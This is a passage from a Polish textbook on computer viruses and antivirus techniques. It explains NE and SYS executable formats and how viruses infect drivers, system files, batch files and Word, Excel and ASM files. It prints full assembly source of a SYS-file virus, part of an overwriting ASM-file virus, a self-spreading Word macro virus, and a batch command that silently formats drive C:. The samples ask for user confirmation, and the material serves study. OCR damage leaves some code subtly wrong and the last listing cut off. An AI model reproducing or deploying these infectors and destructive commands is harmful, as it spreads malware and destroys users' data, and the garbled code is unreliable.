2 bit globalnej inicjalizacji 3 program tylko dla trybu chronionego 4 program zawiera instrukcje 8086 5 program zawiera instrukcje 80286 6 program zawiera instrukcje 80386 7 program zawiera instrukcje 80x87 0D flagi aplikacji; znaczenie poszczególnych bitów: 0-2 typ aplikacji 001 pełnoekranowa (bez Windows AP! dla trybu chronionego) 010 kompatybilna z Windows API dla trybu chronionego 011 używa Windows API dla trybu chronionego 3 aplikacja przeznaczona dla OS/2 5 0=wykonywalna, 1=błędy w obrazie pliku 6 niezgodny typ programu (stos nie jest zachowywany) 7 plik DLL lub sterownik (SS:SP: złe wartości, CS:IP wskazuje na procedurę incjalizacji typu FAR, wywoływaną z AX=uchwyt do modułu, zwracająca AX=0 błąd lub AX<>0 poprawna inicjalizacja) 0E-0F indeks do segmentu danych typu AUTODATA 10-11 inicjalny rozmiar sterty lokalnej 12-13 inicjalny rozmiar stosu, dodany do segmentu danych lub 0000h, gdy DS=SS 14-17 wejście do programu (CS:IP), CS oznacza indeks w tablicy segmentów 18-1B daleki wskaźnik na stos programu (SS:SP), SS oznacza indeks w tablicy segmentów; jeżeli SS jest typu autodata i SP=OOOOh, wskaźnik stosu ustawiany jest na końcu segmentu danych typu AUTODATA, pod stertą lokalną 1C-1D ilość segmentów 1 E-1 F ilość odwołań do modułów 20-21 długość (w bajtach) nierezydentnej tablicy nazw 22-23 offset względem początku nagłówka do tablicy segmentów, składającej się z rekordów o formacie (pierwszy rekord ma numer 1): 00-01 ofset w pliku (trzeba przesunąć o wartość z pola 32-3 nagłówka, aby uzyskać adres w bajtach) 02-03 długość obrazu pliku (0000h=64K) 04-05 atrybuty segmentu 0 segment danych 1 nie używane 2 REALMODE 3 ITERATED 4 MOVABLE 5 SHARABLE 6 PRELOADED 7 EXECUTE-CODE (kod) lub READ-ONLY (dane) 8 relokacje (bezpośrednio po kodzie w segmencie) 9 istnieją informacje dla debuggera 10,11 bity DPL dla 80286 12 DISCARDABLE 13-15 DISCARD PRIORITY 06-07 ilość bajtów do zaatakowania dla segmentu (0000h = 64K) 24-25 offset względem początku nagłówka do tablicy zasobów 26-27 offset względem początku nagłówka do tablicy nazw rezydentnych 28-29 offset względem początku nagłówka do tablicy odwołań do modułów 2A-2B offset względem początku nagłówka do tablicy nazw importowanych (tablica łańcuchów typu string, zakończona łańcuchem o długości 0) 2C-2F offset względem początku nagłówka do tablicy nazw nierezydentnych 30-31 ilość ruchomych punktów wejściowych zawartych w tablicy wejść 32-33 wyrównanie strony (0=9 strona o rozmiarze 2 shl 9=512 bajtów) 34-35 ilość wejść do tablic zasobów 36 docelowy system operacyjny 00h nieznany 01h OS/2 02h Windows 03h Europejska wersja MS-DOS 4.x 04h Windows 386 05h BOSS (Borland Operating System Services) 81h PharLap 286IDOS-Extender, OS/2 82h PharLap 286IDOS-Extender, Windows 37 dodatkowe flagi programu 0 używa długich nazw plików 1 tryb chroniony 2.X 2 proporcjonalna czcionka 2.X 3 0=gangload: nie ma, 1=gangload: jest 38-39 offset do strefy gangload 3A-3B offset do segmentu odwołańi do strefy gangload 3C-3D minimalny rozmiar kodu wymienialnego 3E-3F spodziewana wersja systemu Windows (mniej znacząca część jako pierwsza, bardziej znacząca część jako druga) Format tablicy relokacji pliku nowy EXE (NE) dla Windows Adres Zawartość 00-01 ilość rekordów w tablicy relokacji 02 kolejne elementy tablicy relokacji; jeden rekord tablicy relokacji zajmuje 8 bajtów i ma format: 00 typ rekordu 00 LOBYTE 02 BASE 03 PTR 05 OFFS 0B PTR48 0D OFFS32 01 flagi rekordu bit 2: addytywny 02-03 offset w segmencie 04-05 docelowy adres segmentu 06-07 docelowy adres offsetu Format danych zawartych w tablicy zasobów pliku nowy EXE (NE) dla Windows Adres Zawartość 00-01 Wartość przesunięcia do dopasowania 02 Kolejne rekordy zasobów o formacie: 00-01 identyfikator 0000 koniec rekordów >= 8000h typ INTEGER w przeciwnym wypadku offset względem początku zasobów do łańcucha 02-03 ilość zasobów danego typu 04-07 zarezerwowane 08 początek zasobów Format danych zawartych w zasobach pliku nowy EXE (NE) dla Windows 00-01 ofset (w dopasowanych jednostkach) do zawartości zasobów 02-03 rozmiar zasobów w bajtach 04-05 flagi zasobów bit 4: MOVEABLE bit5:SHAREABLE bit 6: PRELOADED 06-07 typ zasobów; =8000 zasoby typu Integer 08-0B zarezerwowane Format tablicy odwołań do modułów w pliku nowy EXE (NE) dla Windowa Adres Zawartość 00 ilość rekordów w paczce (0=koniec tablicy) 01 znacznik segmentu: 00 nie używany FF MOVEABLE lub FIXED 02 kolejne rekordy, każdy o formacie: 00 flagi bit 0: wejście jest eksportowane bit 1: wejście używa globalnych (współużywalnych) danych bity 7-3: ilość stów parametrów dla segmentu FIXED 01-02 ofset dla segmentu MOVEABLE 01-02 INT 3F (kod instrukcji: CDh 3Fh) 03 numer segmentu 05-06 ofset Format tablicy nazw rezydentnych/nierezydentnych w pliku nowy EXE (NE) dla Adres Zawartość 00 długość łańcucha (00=koniec tablicy) 01-N łańcuch ASCII N+1-N+2 numer porządkowy w tablicy Wygląd zainfekowanego opisaną wcześniej metodą pliku EXE przed i po infekcji przedstawiony został w poniższych tabelach. Wygląd niezainfekowanego pliku NE dla Windows Zawartość pliku program STUB dla DOS Nagłówek programu STUB Kod programu STUB właściwy program dla Windows: Nagłówek NE Tablica segmentów Tablice z danymi o zasobach Kod programu dla Windows Wygląd zainfekowanego pliku NE dla Windows Zawartość pliku program STUB dla DOS Nagłówek programu STUB Zmniejszony kod programu STUB właściwy program dla Windows zarażony wirusem: Nagłówek NE, cofnięty względem oryginalnej pozycji Tablica segmentów, cofnięta względem oryginalnej pozycji, rozszerzona przez wirusa o segment wskazujący na kod wirusa (na końcu pliku) Tablice z danymi o zasobach Kod programu dla Windows Kod wirusa 4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV) Pliki SYS zawierają tzw. sterowniki urządzeń blokowych lub znakowych, które mogą rozszerzać możliwości systemu DOS. Sterowniki te są ładowane tylko raz, w momencie startu systemu, na podstawie poleceń zawartych w pliku CONFIG.SYS (w Windows 95 także na podstawie MSDOS.SYS). Do ładowania sterowników DOS wykorzystuje funkcję (4B00/21), a więc tę samą, co w przypadku programów EXE i COM, jednak dla uruchamianego sterownika nie jest tworzony blok wstępny programu (PSP). Na początku plików typu SYS znajduje się sformatowany nagłówek, zawierający dane dla systemu DOS, który poprzez zawarte w nim informacje może komunikować się ze sterownikiem. Format pliku SYS i jego nagłówka przedstawiono w poniższych tabelach. Zawartość pliku SYS Zawartość Nagłówek pliku SYS (patrz następna tabela) Kod sterownika Format nagłówka pliku SYS 00-03 Wskaźnik do następnego programu obsługi urządzenia, standardowo == 0FFFFFFFFh, co jest sygnałem dla systemu, iż plik zawiera tylko 1 sterownik. Gdyby plik zawierał więcej sterowników, w polu tym byłby zawarty adres kolejnego sterownika w pliku. 04-05 Atrybuty urządzenia, informują o przeznaczeniu sterownika 06-07 Adres procedury strategii (względem początku nagłówka). Procedura strategii służy do odebrania pakietu zlecenia od systemu DOS. 08-09 Adres procedury przerwania (względem początku nagłówka), która na podstawie pakietu zlecenia, przyjętego przez procedurę strategii, wykonuje odpowiednie czynności, 0A-0F Nazwa urządzenia znakowego (8 znaków) lub liczba jednostek dla urządzenia blokowego (1 bajt wykorzystany+7 bajtów rezerwowych). Aby zainfekować plik SYS, wystarczy zmienić adres którejś z procedur zawartych w polach 06h-07h lub 08h-09h tak, aby wskazywał on na kod wirusa, który zostaje dopisywany na końcu pliku. Po wczytaniu przez DOS zarażonego w ten sposób pliku zawsze zostaje wywołana procedura inicjalizacji sterownika, co pozwala wirusowi natychmiast zainstalować się w systemie, a następnie oddać sterowanie oryginalnemu programowi obsługi. Alternatywnym (i chyba prostszym) sposobem zarażenia plików SYS jest wykorzystanie faktu, iż plik taki może zawierać więcej niż jeden sterownik. Aby zainfekować plik SYS, wystarczy więc na początku pliku zmienić pole 00-03 tak, aby wskazywało ono na koniec pliku, gdzie należy dodać kod wirusa, którego wygląd będzie podobny do zwykłego sterownika (będzie posiadał nagłówek oraz procedury strategii i przerwań). Podczas inicjacji DOS uruchomi oba zawarte w pliku sterowniki i w efekcie umożliwi działanie wirusowi. Jak widać, sposób infekcji tych plików jest bardzo prosty, stąd dziwi trochę fakt, iż stosunkowo mała liczba wirusów potrafi je zarażać. Wygląd pliku SYS po zarażeniu pokazano w poniższych tabelach. Zainfekowany plik SYS (ze zmianą adresów procedur w nagłówku) Zawartość pliku Nagłówek sterownika ze zmienionymi adresami procedur strategii lub przerwania Kod sterownika Kod wirusa Zainfekowany plik SYS (drugi fałszywy sterownik) Zawartość pliku Nagłówek sterownika ze zmianą adresu wskazującego na położenie drugiego sterownika w pliku Kod sterownika Nagłówek fałszywego sterownika (wirusa) Kod wirusa Ponizej przedstawiono przyklad prostego nierezydentnego wirusa infekujacego pliki SYS. ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; SYZYF v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Prosty wirus nierezydentny plikow SYS ; ; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ; ; znajdujace sie w biezacym katalogu ; ; ; ; Kompilacja : ; ; TASM SYZYF.ASM ; ; TLINK SYZYF.OBJ ; ; MAKESYS SYZYF.EXE ; ; ; ;----------------------------------------------------------------------------; SYZYF SEGMENT JUMPS ASSUME CS:SYZYF, DS:SYZYF ORG 0000h ; SYS nie potrzebuje PSP NUL = 00h ; \ LF = 0Ah ; - stale znakow CR = 0Dh ; / ASCII AtrReadOnly = 00000001b ; \ AtrHidden = 00000010b ; \ AtrSystem = 00000100b ; \ rozne stale atrybutow AtrVolumeID = 00001000b ; / pozycji katalogu AtrDirectory = 00010000b ; / AtrArchive = 00100000b ; / Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID ; atrybut poszukiwanej pozycji ; katalogu VirusDlug = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa VRok = 1998 ; \ data opisujaca VMiesiac = 13 ; - pliki juz zainfekowane VDzien = 31 ; / VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien DTAStruc struc ; struktura DTA bufora transmisji ; dyskowych uzywanych przez ; funkcje 4E i 4F DTAFill db 21 dup (?) ; nieistotna czesc DTAAttr db ? ; atrybut znalezionej pozycji DTATime dw ? ; czas znalezionej pozycji DTADate dw ? ; data znalezionej pozycji DTASize dd ? ; dlugosc znalezionej pozycji DTAName db 13 dup (?) ; nazwa znalezionej pozycji DTAStruc ends NAGL struc NAGLAdres dd ? ; Adres nastepnego sterownika NAGLAtrybut dw ? ; atrybuty sterownika NAGLStrategia dw ? ; adres obslugi strategii NAGLPrzerwanie dw ? ; adres obslugi przerwania NAGLNazwa db 8 dup(?) ; nazwa sterownika NAGL ends Start: SYSNagl NAGL <0FFFFFFFFh,8000h,ProceduraStrategii,ProceduraPrzerwania,'SYZYF'> ; tu jest naglowek VirusStart: ; tu zaczyna sie kod wirusa ProceduraPrzerwania: push ax ; \ push bx ; \ push cx ; \ zachowaj push dx ; \ zmieniane push si ; / rejestry push di ; / push ds ; / push es ; / Call Trik Trik: pop si sub si,offset Trik push cs ; \ DS=CS pop ds ; / mov ax,[si][StarePrzerwanie] ; zachowaj adres do nosiciela mov [si][SkokIP],ax mov [si][SkokCS],cs lea dx,[si][TeInformacja] ; podaj gdzie jest tekst Call Informacja ; spytaj o uruchomienie wirusa jnc Infekcja ; gdy CF=1, nie uruchamiaj jmp BezInfekcji ; NIE - nie infekuj Infekcja: mov ah,2Fh ; funkcja DOS - pobierz adres DTA int 21h ; wywolaj funkcje DOS mov word ptr [si][DTASegOfs+2],bx ; \ zachowaj akualny adres DTA, mov word ptr [si][DTASegOfs+2],es ; / aby mozna bylo go przywrocic lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA mov ah,1Ah ; funkcja DOS - ustaw nowe DTA int 21h ; wywolaj funkcje DOS lea dx,[si][MaskaSYS] ; maska poszukiwanych plikow '*.SYS' mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji mov ah,4Eh ; funkcja DOS - szukaj pierwszej ; pozycji katalogu int 21h ; wywolaj funkcje DOS jc NieMaPlikuSYS ; gdy CF=1, to blad KolejnyPlik: cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz ; zarazony ? je SzukajNastepnyPlik ; tak = szukaj nastepny mov ax,word ptr [si][NoweDTA.DTASize+2] ; pobierz starsza czesc dlugosci ; pliku or ax,ax ; czy plik krotszy niz 65536 ? jnz SzukajNastepnyPlik ; nie - szukaj nastepnego mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku cmp ax,64000 ; czy dlugosc <= 64000 ? ja SzukajNastepnyPlik ; nie - szukaj nastepnego mov cx,AtrArchive ; podaj nowy atrybut : Archive lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany mov ax,4301h ; funkcja DOS - zmien atrybut int 21h ; wywolaj funkcje DOS jc PrzywrocAtrybut ; gdy CF=1, to blad lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu mov ax,3D02h ; funkcja DOS - otworz plik ; do odczytu i zapisu int 21h ; wywolaj funkcje DOS jc PrzywrocAtrybut ; gdy CF=1, to blad xchg ax,bx ; przenies uchwyt pliku do BX mov cx,size NAGL ; ilosc czytanych bajtow lea dx,[si][CzytNAGL] ; podaj dokad czytac 3 bajty mov ah,3Fh ; funkcja DOS - czytaj z pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad mov ax,word ptr [si][CzytNagl.NaglAdres] ; wez 4 bajty z pliku do AX i DX mov dx,word ptr [si][CzytNagl.NaglAdres+2] cmp ax,0FFFFh ; czy AX=0FFFFh ? jne ZamknijPlik ; NIE - szukaj innego plik cmp ax,dx ; czy AX=DX=0FFFFh ? jne ZamknijPlik ; NIE - szukaj inny plik ; TAK - na poczatku pliku jest ; 0FFFFFFFFh mov ax,word ptr [si][CzytNagl.NaglPrzerwanie] mov [si][StarePrzerwanie],ax ; wez adres przerwania xor cx,cx ; \ zeruj CX:DX zawierajace xor dx,dx ; / adres wzgledem konca pliku mov ax,4202h ; funkcja DOS - zmien wskaznik ; odczytu/zapisu na koniec pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad mov [si][CzytNAGL.NaglPrzerwanie],ax mov cx,VirusDlug ; ilosc zapisywanych bajtow lea dx,[si][VirusStart] ; podaj skad zapisac wirusa mov ah,30h ; funkcja DOS - zapisz do pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad xor cx,cx ; \ CX:DX zawieraja xor dx,dx ; / adres wzgledem poczatku pliku mov ax,4200h ; funkcja DOS - zmien wskaznik ; odczytu/zapisu na poczatek pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1 to blad mov cx,size NAGL ; ilosc zapisywanych bajtow lea dx,[si][CzytNAGL] ; podaj skad zapisac mov ah,30h ; funkcja DOS - zapisz do pliku int 21h ; wywolaj funkcje DOS jc ZamknijPlik ; gdy CF=1, to blad mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA mov dx,VZnacznik ; zaznacz infekcje pliku mov ax,5701h ; funkcja DOS - wpisz date, czas int 21h ; wywolaj funkcje DOS ZamknijPlik: mov ah,3Eh ; funkcja DOS - zamknij plik int 21h ; wywolaj funkcje DOS PrzywrocAtrybut: mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut mov ch,0 ; CX=CL lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany mov ax,4301h ; funkcja DOS - zmien atrybut int 21h ; wywolaj funkcje DOS SzukajNastepnyPlik: ; poprzedni plik byl zarazony mov ah,4Fh ; funkcja DOS - szukaj innego ; pliku SYS int 21h ; wywolaj funkcje DOS jnc KolejnyPlik ; gdy CF=1, to blad NieMaPlikuSYS: lds dx, dword ptr cs:[si][DTASegOfs] ; przywroc pierwotne DTA mov ah,1Ah ; funkcja DOS - ustaw nowe DTA int 21h ; wywolaj funkcje DOS BezInfekcji: pop es ; \ pop ds ; \ pop di ; \ przywroc pop si ; \ zmieniane pop dx ; / rejestry pop cx ; / pop bx ; / pop ax ; / db 0EAh ; powrot do nosiciela SkokIP dw ? SkokCS dw ? MaskaSYS db '*.SIS' ; maska plikow SYS (ASCIIZ) ; Czesc Informayjna ; wyswietla pytanie do uzytkownika Informacja: ; czy chce uruchomic wirusa push ax si cld mov si,dx NastepnyZnak: lods byte ptr cs:[si] ; kolejny znak komunikatu or al,al ; czy koniec tekstu ? jz InformacjaTxtOK ; TAK - koniec pisania mov ah,0Eh ; pisz znak z AL int 10h ; jmp short NastepnyZnak InformacjaTxtOK: mov ah,0 int 16h and al,11011111b ; konwertuj znak na wielka litere cmp al,'T' ; czy potwierdzona infekcja clc ; ustaw flage na TAK je CLCRet ; TAK i powrot stc ; ustaw flage na NIE i powrot CLCRet: pop si ax ret ; powrot TeInformacja db CR,LF,'SYZYF v1.0, Autor : Adam Blaszczyk 1997' db CR,LF db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?' db CR,LF,NUL StarePrzerwanie dw offset Nosiciel VirusEnd: NoweDTA DTAStruc DTASegOfs dd ? CzytNagl NAGL <> ProceduraStrategii: ; na wejsciu ES:BX adres ; do pakietu zlecenia mov word ptr cs:[AdresZlecenia],bx ; \ pobierz adres i zachowaj mov word ptr cs:[AdresZlecenia+2],es; / go na pozniej retf ; powrot z procedury ; strategii AdresZlecenia dd ? Nosiciel: push ds ax bx lds bx,dword ptr cs:[AdresZlecenia] ; pobierz adres pakietu ; zlecenia xor ax,ax ; mov word ptr ds:[bx+0Eh],ax ; mov word ptr ds:[bx+10h],cs ; mov byte ptr ds:[bx+0Dh],1 ; mov word ptr ds:[bx+03h],8102h ; pop bx ax ds retf SYZYF ENDS END Start 4.1.4. Pliki systemowe DOS 4.1.4.1. Interpretator poleceń Infekcja interpretatora poleceń (najczęściej plik COMMAND.COM) w zasadzie przebiega tak samo jak w przypadku innych plików COM lub EXE (tylko we wcześniejszych wersjach systemu DOS plik ten był typu COM). Szybkie infektory najczęściej szukają w otoczeniu programu łańcucha COMSPEC, będącego zmienną środowiskową systemu DOS, zawierającą pełną nazwę (łącznie ze ścieżką) interpretatora poleceń, i po znalezieniu od razu go infekują. Inny sposób dotarcia do pliku interpretatora poleceń polega na zamazaniu części jego kodu, leżącego w pamięci służącej do analizowania i wykonywania poleceń. W rezultacie przy wykonywaniu jakiegoś polecenia z poziomu systemu DOS plik z interpretatorem poleceń będzie musiał zostać ponownie załadowany do pamięci, a wtedy wirus będzie mógł go zainfekować. Zarażając interpretator poleceń warto pamiętać o tym, iż posiada on na swym końcu pusty (wypełniony zerami) obszar przeznaczony na stos, który jest na tyle długi, iż można go wykorzystać, aby wpisać tam kod wirusa, co umożliwi wirusowi zainfekowanie go i przez to pozostawić długość pliku niezmienioną (pomimo zmienionej zawartości). 4.1.4.2. Jądro systemu (ang. kernel infector) Jądro systemu zawarte jest najczęściej w pliku IO.SYS, choć zależy to od konkretnej realizacji systemu. Pomimo swego rozszerzenia plik IO.SYS nie jest typowym sterownikiem, jakie zwykle zawarte są w plikach SYS, lecz programem o strukturze bardziej przypominającej pliki COM lub EXE, tak więc próby infekowania go jako sterownika SYS spowodują jego zniszczenie i w efekcie zawieszenie systemu po starcie komputera. Wirusy infekujące plik IO.SYS najczęściej zapamiętują początek pliku w innym miejscu na dysku (najczęściej w jakiś sposób ukrytym), a na początek pliku IO.SYS nadpisują swój kod. Po starcie systemu program zawarty w BOOT-sektorze, ładuje zainfekowany plik. Sterowanie przekazywane jest do wirusa, który po instalacji wczytuje oryginalną zawartość pliku i oddaje do niego sterowanie. 4.1.5. Pliki wsadowe BAT Wirusy typu batch nie są programami komputerowymi, lecz skryptami, które modyfikują pliki o rozszerzeniu BAT. Na kod takiego wirusa mogą się składać: > polecenia: CALL, CD, COPY, DEL, DIR, ECHO, FOR, GOTO, IF/ REM, RD, REN, SET, SHIFT, TYPE; > parametry wejściowe: %0 nazwa programu, %1-%9 parametry programu; > operatory zmiany przyporządkowania strumieni wejściowych i wyjściowych: <, >, », |; > nazwy zarezerwowane przez system DOS: urządzenie NUL; > programy tradycyjnie dostarczane z systemem DOS: debugger DEBUG, ATTRIB, FIND, FORMAT; sterownik ANSI.SYS; > pola etykiet, wykorzystywane np. do pominięcia linii, w której może być kod maszynowy (opisane w jednym z poprzednich rozdziałów). Na uwagę zasługują wspomniane wyżej operatory zmiany przyporządkowania strumieni wyjściowych. Ich działanie może bowiem zostać wykorzystane do dość brutalnej destrukcji. Normalnie użycie polecenia FORMAT C: czy DEL *.* wymaga potwierdzenia przez użytkownika, który może zgodzić się lub nie na dokonywaną operację. Zmiana przyporządkowania strumieni umożliwia zasymulowanie naciśnięcia przez użytkownika jakiegoś klawisza (lub ich sekwencji), w tym wypadku potwierdzających daną operację. W efekcie polecenie zacznie się wykonywać bez żadnej kontroli ze strony użytkownika! Poza tym, skierowanie wszystkich komunikatów do urządzenia NUL może spowodować, iż o wykonywanych operacjach użytkownik dowie się dopiero po ich zakończeniu. Przykładem może być poniższe polecenie, po którego wykonaniu dysk twardy zostanie sformatowany. ECHO Y | FORMAT C: NUL Powyższy przykład powinien przekonać każdego o celowości przeglądania nieznanych plików wsadowych przed ich pochopnym uruchomieniem, aby uchronić się przed niezbyt miłymi konsekwencjami. 4.1.6. Pliki DOC Pliki DOC są tworzone przez popularny edytor tekstów MS Word. Wirusy przemieszczające się w tych plikach wykorzystują język Word Basie, wbudowany w ten program. Przy jego pomocy użytkownik może tworzyć własne lub też przedefiniowywać już istniejące makra-Wirusy atakujące dokumenty Worda wykorzystują fakt, iż program ten ma kilka zdefiniowanych makr o specjalnym, wyjaśnionym w tabeli poniżej, znaczeniu, których przejęcie umożliwia zainfekowanie każdego otwieranego lub zamykanego dokumentu. Przy wczytywaniu zainfekowanego dokumentu uruchamiane jest na przykład makro AutoOpen, które kopiuje wszystkie zdefiniowane w wirusie makra do pliku NORMAL.DOT (globalny szablon zawierający definicje wszystkich podstawowych stylów, makr itd., używanych w edytorze). Od tej chwili każdy otwierany, zachowywany (zależy to od przejętego makra) plik DOC będzie zarażany. Infekcja polega na przerobieniu pliku DOC na DOT (czyli na plik zawierający szablon) i dopisaniu do niego makr wirusa. Operacja ta musi być wykonywana, ponieważ zwykły plik DOC nie może zawierać w sobie definicji makr. Makra MS Word o ustalonym znaczeniu Nazwa makra Opis makra AutoExec uruchamiane podczas rozpoczynania rozpoczynania pracy z Wordem z szablonu globalnego zawartego w pliku NORMAL.DAT AutoNew uruchamiane podczas tworzenia nowego dokumentu AutoOpen uruchamiane podczas otwierania dokumentu AutoClose uruchamiane podczas zamykania dokumentu AutoExit uruchamiane podczas kończenia pracy z Wordem Przykładem prostego wirusa dla dokumentów Worda może być poniższy program, który składa się z dwóch makr: FileSave i AutoOpen. Pierwsze z nich służy do infekcji plików DOC podczas ich zachowywania, natomiast drugie dopisuje do szablonu NORMAL.DOT dwa powyższe makra bezpośrednio po otwarciu zainfekowanego dokumentu (w rezultacie instaluje go rezydentnie w Wordzie). Aby wirus zbudowany z powyższych makr zadziałał, należy je umieścić w dowolnym (najlepiej nowym) dokumencie. Operację tę najprościej przeprowadzić przy pomocy opcji NARZĘDZIA/MAKRO/UTWÓRZ, Poniższe makra zawierają fragmenty kodu, umożliwiające kontrolowane uruchamianie wirusa (wirus prosi użytkownika o potwierdzenie wszystkich wykonywanych przez siebie operacji). Zawartość makra: AutoOpen Sub MAIN On Error Goto AutoOpen_Error Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe, Autor Adam B-aszczyk" Uwg$ = "Uwaga MakroWirus, Chcesz go zainstalowaŠ ?" TiN = 256 +48+4 Prz = MsgBox(Uwg$, Tyt$, TiN) If (Prz = - l) Then MacroCopy WindowName$() + ":AutoOpen", "Globalne:AutoOpen" MacroCopy WindowName$() + ":FileSave", "Globalne:FileSave" MsgBox "Wirus dopisa- siŕ do NORMAL.DOT, Sam tego chcia-eť !!!", Tyt$, 64 End If AutoOpen_Error: End Sub Zawartość makra: FileSave Sub MA1N FileSave On Error Goto FileSave_Error Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe, Autor Adan B-aszczyk" Uwg$ = "Czy chcesz zainfekowaŠ '" + WindowName$() + "' makrowirusem ?" TiN = 256 +48+4 Prz = MsgBox(Uwg$, Tyt$, TiN) If (Prz = - 1) Then MacroCopy "Globalne:AutoOpen", WindowName$() + ":AutoOpen" MacroCopy "Globalne: FileSave" , WindowName$ () + ":FileSave" FileSaveAs .Format - l Tek$ = "Wirus dopisa- siŕ do '" + WindowName$() + "'" MsgBox Tek$, Tyt$, 64 FileSave End lf rem fileSave FileSave_Error: End Sub Powyższy wirus zadziała tylko w polskojęzycznej wersji MS Word (w wersjach dla innych języków zmieniają się nazwy procedur oraz szablonów). Ze względu na oferowaną przez Worda możliwość szyfrowania makr powyższego wirusa można w pewnym sensie uczynić niewidzialnym (pewna forma techniki stealth). Należy w tym celu dodać do polecenia MacroCopy łańcuch 1, który oznacza, iż podczas kopiowania makra będą zaszyfrowane. Użytkownik nie będzie mógł obejrzeć w edytorze zawartości takich makr. 4.1.7. Pliki XLS Podobnie jak pliki DOC również arkusze Excela mogą zawierać w sobie definicje makr, które może zdefinować lub przedefiniować wirus. Różnica w stosunku do programu MS Word polega na tym, że rolę pliku NORMAL.DOT z Worda pełni tu plik PERSONAL.XLS, inne jest też nazewnictwo makr. Sam sposób działania jest w zasadzie identyczny. Poniższa tabela zawiera krótki opis makr automatycznych, dostępnych w Excelu. Makra MS Excela o ustalonym znaczeniu Nazwa makra Opis makra auto_open uruchamiane podczas rozpoczynania pracy z Excelem auto_close uruchamiane podczas zamykania arkusza 4.1.8. Pliki ASM Zwykle większość wirusów zaraża pliki opisane na poprzednich stronach tego rozdziału. Oprócz nich istnieje mała grupka wirusów, które infekują pliki raczej nietypowe. Przykładem mogą być tu pliki ASM. Infekcja plików ASM polega na dodaniu wirusa do zarażanego pliku ASM, bądź też na nadpisaniu oryginalnego programu ofiary kodem wirusa w postaci źródłowej. Czytając ten tekst można się dziwić, w jaki sposób program może znać, a tym bardziej transportować, swój własny kod źródłowy, który ma później dołączać do ofiary. W rzeczywistości nie jest to takie trudne do zrealizowania. Uruchamialny, wykonujący się kod, który powstaje z pliku ASM, ma postać binarną, a więc wirus zarażający plik ASM też jest w takiej postaci. Ze względu na to, iż wirus ma dodać do pliku swój własny kod, najprościej przetworzyć go na przykład na postać szesnastkową (jako ciąg DB ??h/??h/.../??h), i w takiej postaci dodać kod wirusa do zarażanego programu. Poniżej przedstawiono przykład prostego wirusa plików ASM, nad-pisującego (i w efekcie niszczącego pliki). ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; ASMODEUS v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Prosty wirus nierezydentny, nadpisujacy, atakujacy pliki ASM ; ; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ; ; ; ; Kompilacja : ; ; TASM ASMODEUS.ASM ; ; TLINK /t ASMODEUS.OBJ ; ; ; ;----------------------------------------------------------------------------; .286p ASMODEUS SEGMENT JUMPS ASSUME CS:ASMODEUS, DS:ASMODEUS ORG 100h NUL = 00h ; \ LF = 0Ah ; \ stale znakow CR = 0Dh ; / ASCII DOLAR = '$' ; / AtrReadOnly = 00000001b ; \ AtrHidden = 00000010b ; \ AtrSystem = 00000100b ; \ rozne stale atrybutow AtrVolumeID = 00001000b ; / pozycji katalogu AtrDirectory = 00010000b ; / AtrArchive = 00100000b ; / Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID ; atrybut poszukiwanej pozycji ; katalogu VirusDlug = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa ASMNaglowek_Rozmiar = offset (ASMNaglowek_Koniec-ASMNaglowek_Start) ; dlugosc dyrekty z poczatku ; pliku ASM (ASSUME, ORG, itd.) ASMKoncowka_Rozmiar = offset (ASMKoncowka_Koniec-ASMKoncowka_Start) ; dlugosc dyrekty z konca ; pliku ASM (ENDS, END) VRok = 1998 ; \ data opisujaca VMiesiac = 13 ; - pliki juz zainfekowane VDzien = 31 ; / VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien DTAStruc struc ; struktura DTA bufora transmisji ; dyskowych uzywanych przez ; funkcje 4E i 4F DTAFill db 21 dup (?) ; nieistotna czesc DTAAttr db ? ; atrybut znalezionej pozycji DTATime dw ? ; czas znalezionej pozycji DTADate dw ? ; data znalezionej pozycji DTASize dd ? ; dlugosc znalezionej pozycji DTAName db 13 (?) ; nazwa znalezionej pozycji DTAStruc ends NoweDTA equ 80h VirusStart: ; tu zaczyna sie kod wirusa lea dx,TeInformacja ; podaj, gdzie jest tekst Call Informacja ; spytaj o uruchomienie wirusa jnc Infekcja ; CF=1 oznacza nie uruchamiaj jmp BezInfekcji ; NIE - nie infekuj Infekcja: lea dx,MaskaASM ; maska poszukiwanych plikow '*.ASM' mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji mov ah,4Eh ; funkcja DOS - szukaj pierwszej ; pozycji katalogu int 21h ; wywolaj funkcje DOS jc BezInfekcji ; gdy CF=1, to blad KolejnyPlik: cmp ds:[NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz ; zarazony ? je SzukajNastepnyPlik ; tak = szukaj nastepnego mov cx,AtrArchive ; podaj nowy atrybut : Archive lea dx,ds:[NoweDTA.DTAName] 